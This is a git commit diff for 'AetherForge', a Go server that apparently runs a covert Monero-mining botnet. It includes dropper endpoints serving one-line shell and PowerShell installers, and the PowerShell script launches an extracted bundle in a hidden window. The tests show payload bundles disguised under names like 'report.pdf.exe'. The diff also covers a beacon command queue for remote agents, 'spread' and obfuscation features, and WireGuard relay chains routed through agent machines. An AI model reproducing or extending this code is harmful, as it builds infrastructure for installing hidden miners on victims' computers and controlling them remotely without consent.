fix: 2026-06-04 audit pass — README, USB pack, multi-area fixes

WS ticket dashboard auth, builder universal signing/size limits/fusion obfuscation/dropper bundles, Path Tracer WireGuard topology, SessionGate degraded mode and download timeouts, server bootstrap (data dir, cloudflared dedupe, config port precedence), agent mesh/miner/spread fixes. README refreshed; usb bundle repacked; PROBLEMS.md audit log updated.
This commit is contained in:
AetherForge
2026-06-04 20:41:44 -07:00
parent 6bfce5d5ab
commit 8466c7aa9b
101 changed files with 3369 additions and 1054 deletions

View File

@@ -232,15 +232,26 @@ func DefaultConfig() *Config {
func LoadConfig() *Config {
cfg := DefaultConfig()
// Parse CLI flags
port := flag.Int("port", 8989, "Server port")
dataDir := flag.String("data", "data", "Data directory")
cliPortExplicit := false
flag.Parse()
flag.Visit(func(f *flag.Flag) {
if f.Name == "port" {
cliPortExplicit = true
}
})
cliPort := *port
cfg.Port = *port
cfg.DataDir = *dataDir
// Resolve data dir before reading config.json so relative -data always targets <repo>/data.
projectRoot := findProjectRoot()
cfg.DataDir = resolveDataDir(*dataDir, projectRoot)
if cliPortExplicit {
cfg.Port = cliPort
} else {
cfg.Port = cliPort
}
// Try to load from config file
configPath := filepath.Join(cfg.DataDir, "config.json")
if data, err := os.ReadFile(configPath); err == nil {
var fileCfg Config
@@ -265,6 +276,11 @@ func LoadConfig() *Config {
}
}
// Explicit -port wins over config.json (LAUNCH/devrun pass -port alongside file-based settings).
if cliPortExplicit {
cfg.Port = cliPort
}
if strings.TrimSpace(cfg.TunnelDefaults.CloudflaredTargetURL) == "" && strings.TrimSpace(cfg.Server.PublicURL) != "" {
cfg.TunnelDefaults.CloudflaredTargetURL = strings.TrimSpace(cfg.Server.PublicURL)
}
@@ -537,6 +553,15 @@ func mergeConfig(dst, src *Config) {
if src.Server.SignTimestampURL != "" {
dst.Server.SignTimestampURL = src.Server.SignTimestampURL
}
if src.Server.FleetSecret != "" {
dst.Server.FleetSecret = src.Server.FleetSecret
}
if src.TunnelDefaults.CloudflaredTargetURL != "" {
dst.TunnelDefaults.CloudflaredTargetURL = src.TunnelDefaults.CloudflaredTargetURL
}
if src.TunnelDefaults.CloudflareTunnelToken != "" {
dst.TunnelDefaults.CloudflareTunnelToken = src.TunnelDefaults.CloudflareTunnelToken
}
}
// nestedJSONKeys returns keys explicitly present in a nested JSON object section.

View File

@@ -281,6 +281,67 @@ func TestConfigSaveAndReload(t *testing.T) {
}
}
func TestLoadConfigResolvesRelativeDataBeforeFileRead(t *testing.T) {
cwd, err := os.Getwd()
if err != nil {
t.Fatal(err)
}
repo := t.TempDir()
if err := os.WriteFile(filepath.Join(repo, "LAUNCH.bat"), []byte(""), 0644); err != nil {
t.Fatal(err)
}
dataDir := filepath.Join(repo, "data")
if err := os.MkdirAll(dataDir, 0755); err != nil {
t.Fatal(err)
}
fileCfg := DefaultConfig()
fileCfg.Wallet.Address = "48fromrepo"
data, err := json.Marshal(fileCfg)
if err != nil {
t.Fatal(err)
}
if err := os.WriteFile(filepath.Join(dataDir, "config.json"), data, 0644); err != nil {
t.Fatal(err)
}
serverDir := filepath.Join(repo, "server")
if err := os.MkdirAll(serverDir, 0755); err != nil {
t.Fatal(err)
}
if err := os.Chdir(serverDir); err != nil {
t.Fatal(err)
}
defer func() { _ = os.Chdir(cwd) }()
resetConfigFlags([]string{"test", "-data", "data"})
cfg := LoadConfig()
wantData := filepath.Join(repo, "data")
if cfg.DataDir != wantData {
t.Fatalf("data dir: got %q want %q", cfg.DataDir, wantData)
}
if cfg.Wallet.Address != "48fromrepo" {
t.Fatalf("expected config from repo data/, got wallet %q", cfg.Wallet.Address)
}
}
func TestLoadConfigFilePortWhenCLINotExplicit(t *testing.T) {
dir := t.TempDir()
fileCfg := DefaultConfig()
fileCfg.Port = 9001
data, err := json.Marshal(fileCfg)
if err != nil {
t.Fatal(err)
}
if err := os.WriteFile(filepath.Join(dir, "config.json"), data, 0644); err != nil {
t.Fatal(err)
}
// No -port on CLI — only -data.
resetConfigFlags([]string{"test", "-data", dir})
cfg := LoadConfig()
if cfg.Port != 9001 {
t.Fatalf("file port when CLI omits -port: got %d", cfg.Port)
}
}
func TestLoadConfigCLIFlags(t *testing.T) {
dir := t.TempDir()
resetConfigFlags([]string{"test", "-port", "9999", "-data", dir})
@@ -311,8 +372,8 @@ func TestLoadConfigMergesFileOverrides(t *testing.T) {
resetConfigFlags([]string{"test", "-port", "8989", "-data", dir})
cfg := LoadConfig()
if cfg.Port != 9001 {
t.Fatalf("file port override: got %d", cfg.Port)
if cfg.Port != 8989 {
t.Fatalf("explicit CLI -port should win over file port: got %d", cfg.Port)
}
if cfg.Pool.Host != "custom.pool.example" {
t.Fatalf("file pool host: got %q", cfg.Pool.Host)

View File

@@ -224,10 +224,8 @@ func (e *Evaluator) ClearAgent(agentID string) {
// Remove cooldown + baseline entries so the agent's next appearance
// (e.g. re-registration) starts fresh.
delete(e.baseline, agentID)
for k := range e.lastFired {
if len(k) > len(agentID) && k[len(k)-len(agentID):] == agentID {
delete(e.lastFired, k)
}
for _, prefix := range []string{"offline:", "hashrate:", "reject:"} {
delete(e.lastFired, prefix+agentID)
}
}

View File

@@ -0,0 +1,41 @@
package api
import (
"sync"
"time"
)
const (
agentWSRateLimitMax = 30
agentWSRateLimitWindow = time.Minute
agentWSAuthTimeout = 45 * time.Second
)
type agentWSRateLimiter struct {
mu sync.Mutex
attempts map[string][]time.Time
}
var agentWSRateLim = agentWSRateLimiter{attempts: make(map[string][]time.Time)}
func allowAgentWSUpgrade(clientIP string) bool {
if clientIP == "" {
return true
}
now := time.Now()
cutoff := now.Add(-agentWSRateLimitWindow)
agentWSRateLim.mu.Lock()
defer agentWSRateLim.mu.Unlock()
filtered := agentWSRateLim.attempts[clientIP][:0]
for _, t := range agentWSRateLim.attempts[clientIP] {
if t.After(cutoff) {
filtered = append(filtered, t)
}
}
if len(filtered) >= agentWSRateLimitMax {
agentWSRateLim.attempts[clientIP] = filtered
return false
}
agentWSRateLim.attempts[clientIP] = append(filtered, now)
return true
}

View File

@@ -118,6 +118,7 @@ func (h *AIHandler) GetEngine(agentID string) *ollama.Engine {
defer h.mu.Unlock()
if entry, ok := h.engines[agentID]; ok {
entry.lastUsed = time.Now()
h.engines[agentID] = entry
return entry.engine
}
return nil

View File

@@ -52,8 +52,19 @@ func (h *WSHub) initBeaconMaps() {
}
}
// MarkBeaconSeen records a successful HTTPS beacon from an agent.
func (h *WSHub) agentExistsInDB(agentID string) bool {
if h.db == nil || agentID == "" {
return false
}
_, err := h.db.GetAgent(agentID)
return err == nil
}
// MarkBeaconSeen records a successful HTTPS beacon from a known agent.
func (h *WSHub) MarkBeaconSeen(agentID string) {
if !h.agentExistsInDB(agentID) {
return
}
h.initBeaconMaps()
h.beaconMu.Lock()
h.beaconLastSeen[agentID] = time.Now()
@@ -84,7 +95,7 @@ func (h *WSHub) IsAgentReachable(agentID string) bool {
// EnqueueBeaconCommand queues a command for HTTPS beacon delivery.
func (h *WSHub) EnqueueBeaconCommand(agentID, action string, args map[string]interface{}) bool {
if !h.isAgentBeaconReachable(agentID) {
if !h.agentExistsInDB(agentID) || !h.isAgentBeaconReachable(agentID) {
return false
}
cmd := BeaconCommand{Action: action}
@@ -188,7 +199,6 @@ func (h *WSHub) HandleAgentBeacon(w http.ResponseWriter, r *http.Request) {
return
}
h.MarkBeaconSeen(agentID)
if h.db != nil {
if _, err := h.db.GetAgent(agentID); err != nil && (req.Hostname != "" || req.Wallet != "") {
display := req.Hostname
@@ -204,6 +214,7 @@ func (h *WSHub) HandleAgentBeacon(w http.ResponseWriter, r *http.Request) {
})
}
}
h.MarkBeaconSeen(agentID)
h.applyBeaconStats(agentID, req.Stats)
cmds := h.dequeueBeaconCommands(agentID)
writeJSON(w, beaconResponse{OK: true, Commands: cmds})

View File

@@ -57,6 +57,14 @@ func TestAgentBeaconFleetSecretAuth(t *testing.T) {
}
}
func TestBeaconCommandQueueUnknownAgent(t *testing.T) {
hub := NewWSHub(nil)
hub.MarkBeaconSeen("ghost-agent")
if hub.EnqueueBeaconCommand("ghost-agent", "pause", nil) {
t.Fatal("enqueue should fail for unknown agent")
}
}
func TestBeaconCommandQueueRoundtrip(t *testing.T) {
database, err := db.New(t.TempDir())
if err != nil {

View File

@@ -3,10 +3,12 @@ package api
import (
"fmt"
"net/http"
"os"
"path/filepath"
"strings"
dbpkg "crypto-miner-server/internal/db"
"crypto-miner-server/internal/models"
)
// DropperHandler serves the one-liner remote-install endpoints:
@@ -17,11 +19,12 @@ import (
// GET /install.ps1 — PowerShell one-liner installer (Windows)
type DropperHandler struct {
db *dbpkg.Database
dataDir string
publicURLFunc func() string
}
func NewDropperHandler(database *dbpkg.Database, publicURLFunc func() string) *DropperHandler {
return &DropperHandler{db: database, publicURLFunc: publicURLFunc}
func NewDropperHandler(database *dbpkg.Database, dataDir string, publicURLFunc func() string) *DropperHandler {
return &DropperHandler{db: database, dataDir: dataDir, publicURLFunc: publicURLFunc}
}
func (h *DropperHandler) publicURL() string {
@@ -74,8 +77,7 @@ func (h *DropperHandler) ServeGet(w http.ResponseWriter, r *http.Request) {
for _, p := range candidates {
b, err := h.db.GetLatestBuildForPlatform(p)
if err == nil && b != nil {
buildPath = b.FilePath
buildName = filepath.Base(b.FilePath)
buildPath, buildName = resolveDropperArtifact(h.dataDir, b)
break
}
}
@@ -181,7 +183,7 @@ func (h *DropperHandler) ServePs1(w http.ResponseWriter, r *http.Request) {
" $dir = $tmp + '_bundle'" + nl +
" Add-Type -AssemblyName System.IO.Compression.FileSystem" + nl +
" [System.IO.Compression.ZipFile]::ExtractToDirectory($tmp, $dir)" + nl +
" foreach ($name in @('Start.bat', 'Deploy.bat')) {" + nl +
" foreach ($name in @('Start.bat', 'Deploy.bat', 'start.bat', 'deploy.bat')) {" + nl +
" $c = Join-Path $dir $name" + nl +
" if (Test-Path $c) { Start-Process 'cmd.exe' -ArgumentList \"/c " + bt + "\"$c" + bt + "\"\" -WindowStyle Hidden; break }" + nl +
" }" + nl +
@@ -208,13 +210,37 @@ func (h *DropperHandler) resolveBase(r *http.Request) string {
scheme = "https"
}
// Honour X-Forwarded-Proto set by reverse proxies (e.g. Cloudflare tunnel).
if proto := r.Header.Get("X-Forwarded-Proto"); proto == "https" {
if proto := strings.TrimSpace(strings.Split(r.Header.Get("X-Forwarded-Proto"), ",")[0]); strings.EqualFold(proto, "https") {
scheme = "https"
}
// Prefer X-Forwarded-Host (behind a reverse proxy) over the raw Host.
host := r.Header.Get("X-Forwarded-Host")
host := strings.TrimSpace(strings.Split(r.Header.Get("X-Forwarded-Host"), ",")[0])
if host == "" {
host = r.Host
}
return scheme + "://" + host
}
// resolveDropperArtifact prefers DownloadURL (bundle artifact) over FilePath (launcher).
func resolveDropperArtifact(dataDir string, b *models.BuildRecord) (path, name string) {
if b == nil {
return "", ""
}
dl := strings.TrimSpace(b.DownloadURL)
if dl != "" && strings.Contains(dl, "/artifact/") {
parts := strings.Split(dl, "/artifact/")
if len(parts) == 2 && parts[1] != "" {
artifactName := filepath.Base(parts[1])
candidate := filepath.Join(dataDir, "builds", b.ID, artifactName)
if _, err := os.Stat(candidate); err == nil {
return candidate, artifactName
}
}
}
path = b.FilePath
name = strings.TrimSpace(b.FileName)
if name == "" && path != "" {
name = filepath.Base(path)
}
return path, name
}

View File

@@ -21,7 +21,7 @@ func newTestDropperHandler(t *testing.T) (*DropperHandler, *db.Database, string)
t.Fatal(err)
}
t.Cleanup(func() { _ = database.Close() })
return NewDropperHandler(database, func() string { return "https://public.example.com" }), database, dataDir
return NewDropperHandler(database, dataDir, func() string { return "https://public.example.com" }), database, dataDir
}
func TestDetectPlatformQueryParam(t *testing.T) {
@@ -113,7 +113,7 @@ func TestDropperResolveBasePublicURL(t *testing.T) {
}
func TestDropperResolveBaseFromRequest(t *testing.T) {
h := NewDropperHandler(nil, nil)
h := NewDropperHandler(nil, "", nil)
req := httptest.NewRequest(http.MethodGet, "/install.sh", nil)
req.Host = "deck.local:8989"
req.Header.Set("X-Forwarded-Host", "proxy.example.com")
@@ -136,6 +136,66 @@ func TestDropperServeShContent(t *testing.T) {
}
}
func TestDropperServeGetPrefersBundleArtifact(t *testing.T) {
h, database, dataDir := newTestDropperHandler(t)
buildID := "fusion-bundle"
buildDir := filepath.Join(dataDir, "builds", buildID)
if err := os.MkdirAll(buildDir, 0755); err != nil {
t.Fatal(err)
}
launcherPath := filepath.Join(buildDir, "report.pdf.exe")
bundlePath := filepath.Join(buildDir, "report-package.zip")
if err := os.WriteFile(launcherPath, []byte("launcher-only"), 0644); err != nil {
t.Fatal(err)
}
bundleContent := []byte("zip-bundle-with-payload")
if err := os.WriteFile(bundlePath, bundleContent, 0644); err != nil {
t.Fatal(err)
}
if err := database.InsertBuild(&models.BuildRecord{
ID: buildID, WorkerName: "w", ServerURL: "http://x", Wallet: "48x",
FilePath: launcherPath, FileName: "report.pdf.exe", Platform: "windows",
DownloadURL: "/api/v1/builds/" + buildID + "/artifact/report-package.zip",
CreatedAt: time.Now(),
}); err != nil {
t.Fatal(err)
}
req := httptest.NewRequest(http.MethodGet, "/get?os=windows", nil)
rec := httptest.NewRecorder()
h.ServeGet(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("expected 200, got %d body=%s", rec.Code, rec.Body.String())
}
if rec.Body.String() != string(bundleContent) {
t.Fatalf("expected bundle bytes, got %q", rec.Body.String())
}
if !strings.Contains(rec.Header().Get("Content-Disposition"), "report-package.zip") {
t.Fatalf("disposition: %q", rec.Header().Get("Content-Disposition"))
}
}
func TestResolveDropperArtifact(t *testing.T) {
dataDir := t.TempDir()
buildID := "bid"
buildDir := filepath.Join(dataDir, "builds", buildID)
if err := os.MkdirAll(buildDir, 0755); err != nil {
t.Fatal(err)
}
bundle := filepath.Join(buildDir, "kit.zip")
if err := os.WriteFile(bundle, []byte("z"), 0644); err != nil {
t.Fatal(err)
}
b := &models.BuildRecord{
ID: buildID, FilePath: filepath.Join(buildDir, "runner.exe"), FileName: "runner.exe",
DownloadURL: "/api/v1/builds/" + buildID + "/artifact/kit.zip",
}
path, name := resolveDropperArtifact(dataDir, b)
if path != bundle || name != "kit.zip" {
t.Fatalf("artifact resolve: path=%q name=%q", path, name)
}
}
func TestDropperServePs1Content(t *testing.T) {
h, _, _ := newTestDropperHandler(t)
req := httptest.NewRequest(http.MethodGet, "/install.ps1", nil)
@@ -147,4 +207,7 @@ func TestDropperServePs1Content(t *testing.T) {
if !strings.Contains(rec.Body.String(), "DownloadFile") {
t.Fatal("expected PowerShell download snippet")
}
if !strings.Contains(rec.Body.String(), "start.bat") {
t.Fatal("expected lowercase start.bat in PS1 launcher list")
}
}

View File

@@ -155,21 +155,16 @@ func (f *FleetHandler) GetXMRPrice(w http.ResponseWriter, r *http.Request) {
}
f.xmrPriceMu.Unlock()
client := &http.Client{Timeout: 8 * time.Second}
resp, err := client.Get("https://api.coingecko.com/api/v3/simple/price?ids=monero&vs_currencies=usd") //nolint:gosec
usd, err := fetchCoinGeckoXMRPrice()
if err != nil {
http.Error(w, "price fetch failed: "+err.Error(), http.StatusServiceUnavailable)
status := http.StatusServiceUnavailable
msg := err.Error()
if strings.Contains(msg, "status") || strings.Contains(msg, "parse") {
status = http.StatusBadGateway
}
http.Error(w, "price fetch failed: "+msg, status)
return
}
defer resp.Body.Close()
body, _ := io.ReadAll(io.LimitReader(resp.Body, 4096))
var raw map[string]map[string]float64
if err := json.Unmarshal(body, &raw); err != nil || raw["monero"] == nil {
http.Error(w, "price parse failed", http.StatusBadGateway)
return
}
usd := raw["monero"]["usd"]
entry := &xmrPriceEntry{USD: usd, fetchedAt: time.Now()}
f.xmrPriceMu.Lock()
@@ -183,6 +178,41 @@ func (f *FleetHandler) GetXMRPrice(w http.ResponseWriter, r *http.Request) {
})
}
const coingeckoXMRURL = "https://api.coingecko.com/api/v3/simple/price?ids=monero&vs_currencies=usd"
func fetchCoinGeckoXMRPrice() (float64, error) {
client := &http.Client{Timeout: 8 * time.Second}
var lastErr error
for attempt := 0; attempt < 3; attempt++ {
if attempt > 0 {
time.Sleep(time.Duration(attempt) * 400 * time.Millisecond)
}
resp, err := client.Get(coingeckoXMRURL) //nolint:gosec
if err != nil {
lastErr = err
continue
}
body, _ := io.ReadAll(io.LimitReader(resp.Body, 4096))
resp.Body.Close()
if resp.StatusCode == http.StatusTooManyRequests || resp.StatusCode >= 500 {
lastErr = fmt.Errorf("coingecko status %d", resp.StatusCode)
continue
}
if resp.StatusCode != http.StatusOK {
return 0, fmt.Errorf("coingecko status %d", resp.StatusCode)
}
var raw map[string]map[string]float64
if err := json.Unmarshal(body, &raw); err != nil || raw["monero"] == nil {
return 0, fmt.Errorf("price parse failed")
}
return raw["monero"]["usd"], nil
}
if lastErr != nil {
return 0, lastErr
}
return 0, fmt.Errorf("price fetch failed")
}
// GetEarningsEstimate — kept for backwards compat; delegates to GetEarnings.
func (f *FleetHandler) GetEarningsEstimate(w http.ResponseWriter, r *http.Request) {
f.GetEarnings(w, r)

View File

@@ -387,6 +387,32 @@ func TestFleetGetXMRPriceParseError(t *testing.T) {
}
}
func TestFleetGetXMRPriceRetriesOn429(t *testing.T) {
attempts := 0
setMockHTTPTransport(t, func(req *http.Request) (*http.Response, error) {
attempts++
rec := httptest.NewRecorder()
if attempts < 2 {
rec.WriteHeader(http.StatusTooManyRequests)
_, _ = rec.Write([]byte(`{"error":"rate limit"}`))
return rec.Result(), nil
}
rec.Header().Set("Content-Type", "application/json")
_, _ = rec.Write([]byte(`{"monero":{"usd":123.45}}`))
return rec.Result(), nil
})
fh, _, _, _ := newTestFleetHandler(t)
rec := httptest.NewRecorder()
fh.GetXMRPrice(rec, httptest.NewRequest(http.MethodGet, "/market/xmr", nil))
if rec.Code != http.StatusOK {
t.Fatalf("expected 200 after retry, got %d body %s", rec.Code, rec.Body.String())
}
if attempts < 2 {
t.Fatalf("expected retry on 429, attempts=%d", attempts)
}
}
func TestFleetEstimateXMRPerDay(t *testing.T) {
zero := EstimateXMRPerDay(0)
if zero["xmr_per_day"].(float64) != 0 {

View File

@@ -58,6 +58,10 @@ func (h *Handler) GetAgent(w http.ResponseWriter, r *http.Request) {
// GET /api/v1/agents/{id}/stats
func (h *Handler) GetAgentStats(w http.ResponseWriter, r *http.Request) {
id := chi.URLParam(r, "id")
if _, err := h.db.GetAgent(id); err != nil {
http.Error(w, "Agent not found", http.StatusNotFound)
return
}
limitStr := r.URL.Query().Get("limit")
limit := 100
if l, err := strconv.Atoi(limitStr); err == nil && l > 0 {

View File

@@ -64,8 +64,8 @@ func TestGetAgentStatsLimitCap(t *testing.T) {
r := chi.NewRouter()
r.Get("/agents/{id}/stats", h.GetAgentStats)
r.ServeHTTP(rec, req)
if rec.Code == http.StatusInternalServerError {
t.Fatalf("limit cap caused 500: %s", rec.Body.String())
if rec.Code != http.StatusNotFound {
t.Fatalf("unknown agent should 404, got %d: %s", rec.Code, rec.Body.String())
}
}

View File

@@ -76,8 +76,8 @@ func newTestRouter(t *testing.T) (http.Handler, *WSHub, *db.Database, string) {
_ = os.MkdirAll(webRoot, 0755)
_ = os.WriteFile(filepath.Join(webRoot, "index.html"), []byte("<html><body>AetherForge</body></html>"), 0644)
dropperHandler := NewDropperHandler(database, nil)
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, nil, nil, webRoot, dataDir, nil), wsHub, database, dataDir
dropperHandler := NewDropperHandler(database, dataDir, nil)
return NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, nil, nil, webRoot, dataDir, nil, 8989), wsHub, database, dataDir
}
func serveAuthed(t *testing.T, router http.Handler, method, path string, body []byte) *httptest.ResponseRecorder {

View File

@@ -57,17 +57,61 @@ type TraceSession struct {
clientPubKey string
}
const (
pathTraceSessionTTL = 2 * time.Hour
pathTraceCleanupInterval = 5 * time.Minute
)
// PathTracerHandler manages on-demand WireGuard chain sessions.
type PathTracerHandler struct {
hub *WSHub
mu sync.Mutex
sessions map[string]*TraceSession
stopCh chan struct{}
}
func NewPathTracerHandler(hub *WSHub) *PathTracerHandler {
return &PathTracerHandler{
h := &PathTracerHandler{
hub: hub,
sessions: make(map[string]*TraceSession),
stopCh: make(chan struct{}),
}
go h.sessionCleanupLoop()
return h
}
func (h *PathTracerHandler) sessionCleanupLoop() {
ticker := time.NewTicker(pathTraceCleanupInterval)
defer ticker.Stop()
for {
select {
case <-ticker.C:
h.expireSessions()
case <-h.stopCh:
return
}
}
}
func (h *PathTracerHandler) expireSessions() {
now := time.Now()
var expired []*TraceSession
h.mu.Lock()
for id, sess := range h.sessions {
if now.Sub(sess.CreatedAt) > pathTraceSessionTTL {
expired = append(expired, sess)
delete(h.sessions, id)
}
}
h.mu.Unlock()
for _, sess := range expired {
log.Printf("[pathtrace] session %s expired after %s", sess.ID[:8], pathTraceSessionTTL)
for _, hop := range sess.Hops {
_ = h.hub.writeAgentJSON(hop.AgentID, Message{
Type: "command",
Payload: mustMarshal(map[string]interface{}{"action": "wg_teardown"}),
})
}
}
}
@@ -260,11 +304,11 @@ func (h *PathTracerHandler) orchestrate(sess *TraceSession) {
if p == 0 {
p = 51820
}
// If UPnP failed, fall back to the IP the server saw.
// If UPnP failed, fall back to the agent's last known IP in the DB.
ip := res.ExternalIP
if ip == "" {
if agent := h.hub.getAgentConnByID(hop.AgentID); agent != nil {
ip = hop.ExternalIP // pre-filled below
if ag, err := h.hub.db.GetAgent(hop.AgentID); err == nil && strings.TrimSpace(ag.IP) != "" {
ip = ag.IP
}
}
results <- setupResp{hop: hop, pub: res.PublicKey, ip: ip, port: p}
@@ -307,11 +351,10 @@ func (h *PathTracerHandler) orchestrate(sess *TraceSession) {
}
// Phase 2: send wg_configure to each hop.
// Build per-hop configs:
// - Last hop: peer = none (it's the exit), just IP forwarding
// - Middle hops: peer = next hop
// - First hop: peer = next hop, or none if single-hop (client connects directly)
//
// Topology:
// - Hop 1 always peers to the client (10.66.0.1/32) so return traffic works.
// - Relay hops also peer forward to the next hop (0.0.0.0/0).
// - Middle/exit hops peer back to the previous hop for reverse routing.
// The CLIENT config always points to the FIRST hop.
type cfgResp struct {
@@ -330,33 +373,23 @@ func (h *PathTracerHandler) orchestrate(sess *TraceSession) {
"local_address": hop.LocalAddr,
"listen_port": hop.Port,
"enable_ip_forwarding": true,
}
// Peers for this hop: only for relay hops (all except the exit/last hop).
if i < len(sess.Hops)-1 {
nextHop := sess.Hops[i+1]
payload["peers"] = []map[string]interface{}{
{
"public_key": nextHop.PublicKey,
"endpoint": fmt.Sprintf("%s:%d", nextHop.ExternalIP, nextHop.Port),
"allowed_ips": "0.0.0.0/0",
"persistent_keepalive": 25,
},
}
} else {
payload["peers"] = []map[string]interface{}{}
"peers": buildHopPeers(sess, i),
}
dataJSON, _ := json.Marshal(payload)
ch := h.hub.AwaitCommandResult(hop.AgentID, "wg_configure")
_ = h.hub.writeAgentJSON(hop.AgentID, Message{
if err := h.hub.writeAgentJSON(hop.AgentID, Message{
Type: "command",
Payload: mustMarshal(map[string]interface{}{
"action": "wg_configure",
"data": string(dataJSON),
}),
})
}); err != nil {
h.hub.CancelAwait(hop.AgentID, "wg_configure")
cfgResults <- cfgResp{hop: hop, err: "agent not connected: " + err.Error()}
continue
}
go func() {
select {
@@ -402,6 +435,43 @@ func (h *PathTracerHandler) orchestrate(sess *TraceSession) {
log.Printf("[pathtrace] session %s: orchestration complete, ready=%v", sess.ID[:8], allReady)
}
// buildHopPeers returns WireGuard peer entries for hop index i in the chain.
func buildHopPeers(sess *TraceSession, i int) []map[string]interface{} {
var peers []map[string]interface{}
// Hop 1 is the client entry point — always accept the phone/client tunnel.
if i == 0 {
peers = append(peers, map[string]interface{}{
"public_key": sess.clientPubKey,
"allowed_ips": "10.66.0.1/32",
"persistent_keepalive": 25,
})
}
// Forward peer: route outbound traffic to the next hop in the chain.
if i < len(sess.Hops)-1 {
nextHop := sess.Hops[i+1]
peers = append(peers, map[string]interface{}{
"public_key": nextHop.PublicKey,
"endpoint": fmt.Sprintf("%s:%d", nextHop.ExternalIP, nextHop.Port),
"allowed_ips": "0.0.0.0/0",
"persistent_keepalive": 25,
})
}
// Reverse peer: return traffic toward the client via the previous hop.
if i > 0 {
prevHop := sess.Hops[i-1]
peers = append(peers, map[string]interface{}{
"public_key": prevHop.PublicKey,
"allowed_ips": "10.66.0.1/32",
"persistent_keepalive": 25,
})
}
return peers
}
// buildClientConfig generates the WireGuard config text the user scans/imports.
func (h *PathTracerHandler) buildClientConfig(sess *TraceSession) string {
h.mu.Lock()

View File

@@ -0,0 +1,378 @@
package api
import (
"bytes"
"context"
"encoding/base64"
"encoding/json"
"fmt"
"net/http"
"net/http/httptest"
"strings"
"sync"
"testing"
"time"
"crypto-miner-server/internal/db"
"github.com/go-chi/chi/v5"
"github.com/gorilla/websocket"
)
func testTraceSession(hopCount int) *TraceSession {
sess := &TraceSession{
ID: "sess-test-12345678",
clientPubKey: "CLIENT_PUB_KEY_B64",
clientPrivKey: "CLIENT_PRIV_KEY_B64",
}
for i := 0; i < hopCount; i++ {
sess.Hops = append(sess.Hops, &HopInfo{
AgentID: fmt.Sprintf("agent-%d", i+1),
PublicKey: fmt.Sprintf("HOP%d_PUB", i+1),
ExternalIP: fmt.Sprintf("203.0.113.%d", i+1),
Port: 51820 + i,
LocalAddr: fmt.Sprintf("10.66.0.%d/24", i+2),
Status: HopReady,
})
}
return sess
}
func peerKeys(peers []map[string]interface{}) []string {
out := make([]string, 0, len(peers))
for _, p := range peers {
out = append(out, p["public_key"].(string))
}
return out
}
func TestBuildHopPeersSingleHop(t *testing.T) {
sess := testTraceSession(1)
peers := buildHopPeers(sess, 0)
if len(peers) != 1 {
t.Fatalf("single-hop want 1 peer (client), got %d: %+v", len(peers), peers)
}
if peers[0]["public_key"] != sess.clientPubKey {
t.Fatalf("expected client peer, got %+v", peers[0])
}
if peers[0]["allowed_ips"] != "10.66.0.1/32" {
t.Fatalf("client allowed_ips = %v", peers[0]["allowed_ips"])
}
if _, hasEndpoint := peers[0]["endpoint"]; hasEndpoint {
t.Fatal("client peer should not have endpoint")
}
}
func TestBuildHopPeersTwoHop(t *testing.T) {
sess := testTraceSession(2)
hop1 := buildHopPeers(sess, 0)
if len(hop1) != 2 {
t.Fatalf("hop1 want client+forward peers, got %d", len(hop1))
}
if peerKeys(hop1)[0] != sess.clientPubKey {
t.Fatal("hop1 first peer should be client")
}
if peerKeys(hop1)[1] != sess.Hops[1].PublicKey {
t.Fatal("hop1 second peer should be next hop")
}
hop2 := buildHopPeers(sess, 1)
if len(hop2) != 1 {
t.Fatalf("exit hop want reverse peer only, got %d: %+v", len(hop2), hop2)
}
if hop2[0]["public_key"] != sess.Hops[0].PublicKey {
t.Fatal("exit hop should peer back to hop1")
}
if hop2[0]["allowed_ips"] != "10.66.0.1/32" {
t.Fatalf("reverse allowed_ips = %v", hop2[0]["allowed_ips"])
}
}
func TestBuildHopPeersThreeHop(t *testing.T) {
sess := testTraceSession(3)
mid := buildHopPeers(sess, 1)
if len(mid) != 2 {
t.Fatalf("middle hop want forward+reverse, got %d", len(mid))
}
keys := peerKeys(mid)
if keys[0] != sess.Hops[2].PublicKey {
t.Fatal("middle hop forward peer should be hop3")
}
if keys[1] != sess.Hops[0].PublicKey {
t.Fatal("middle hop reverse peer should be hop1")
}
}
func TestPathTracerSessionExpiry(t *testing.T) {
hub := NewWSHub(nil)
h := NewPathTracerHandler(hub)
sess := &TraceSession{
ID: "expired-session-id",
CreatedAt: time.Now().Add(-pathTraceSessionTTL - time.Minute),
Hops: []*HopInfo{{AgentID: "gone-agent"}},
}
h.mu.Lock()
h.sessions[sess.ID] = sess
h.mu.Unlock()
h.expireSessions()
h.mu.Lock()
_, ok := h.sessions[sess.ID]
h.mu.Unlock()
if ok {
t.Fatal("expired session should be removed")
}
}
func startPathTracerAgentResponder(t *testing.T, hub *WSHub, agentID, pubKey string) {
t.Helper()
conn := connectTestAgent(t, hub, agentID)
go func() {
for {
var msg Message
if err := conn.ReadJSON(&msg); err != nil {
return
}
if msg.Type != "command" {
continue
}
var payload map[string]interface{}
if err := json.Unmarshal(msg.Payload, &payload); err != nil {
continue
}
action, _ := payload["action"].(string)
switch action {
case "wg_setup":
setup, _ := json.Marshal(map[string]interface{}{
"public_key": pubKey,
"external_ip": "198.51.100.10",
"external_port": 51820,
})
_ = conn.WriteJSON(Message{Type: "command_result", Payload: mustMarshal(map[string]interface{}{
"action": "wg_setup", "success": true, "message": string(setup),
})})
case "wg_configure":
_ = conn.WriteJSON(Message{Type: "command_result", Payload: mustMarshal(map[string]interface{}{
"action": "wg_configure", "success": true,
})})
case "wg_teardown":
return
}
}
}()
}
func TestPathTracerOrchestrationSingleHop(t *testing.T) {
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = database.Close() })
hub := NewWSHub(database)
handler := NewPathTracerHandler(hub)
agentID := "trace-agent-1"
startPathTracerAgentResponder(t, hub, agentID, "AGENT1_PUBKEY")
body := `{"agent_ids":["` + agentID + `"]}`
req := httptest.NewRequest(http.MethodPost, "/pathtrace/start", strings.NewReader(body))
rec := httptest.NewRecorder()
handler.Start(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("start status=%d body=%s", rec.Code, rec.Body.String())
}
var startResp map[string]interface{}
if err := json.Unmarshal(rec.Body.Bytes(), &startResp); err != nil {
t.Fatal(err)
}
sessionID, _ := startResp["session_id"].(string)
if sessionID == "" {
t.Fatal("missing session_id")
}
deadline := time.Now().Add(5 * time.Second)
ready := false
for time.Now().Before(deadline) {
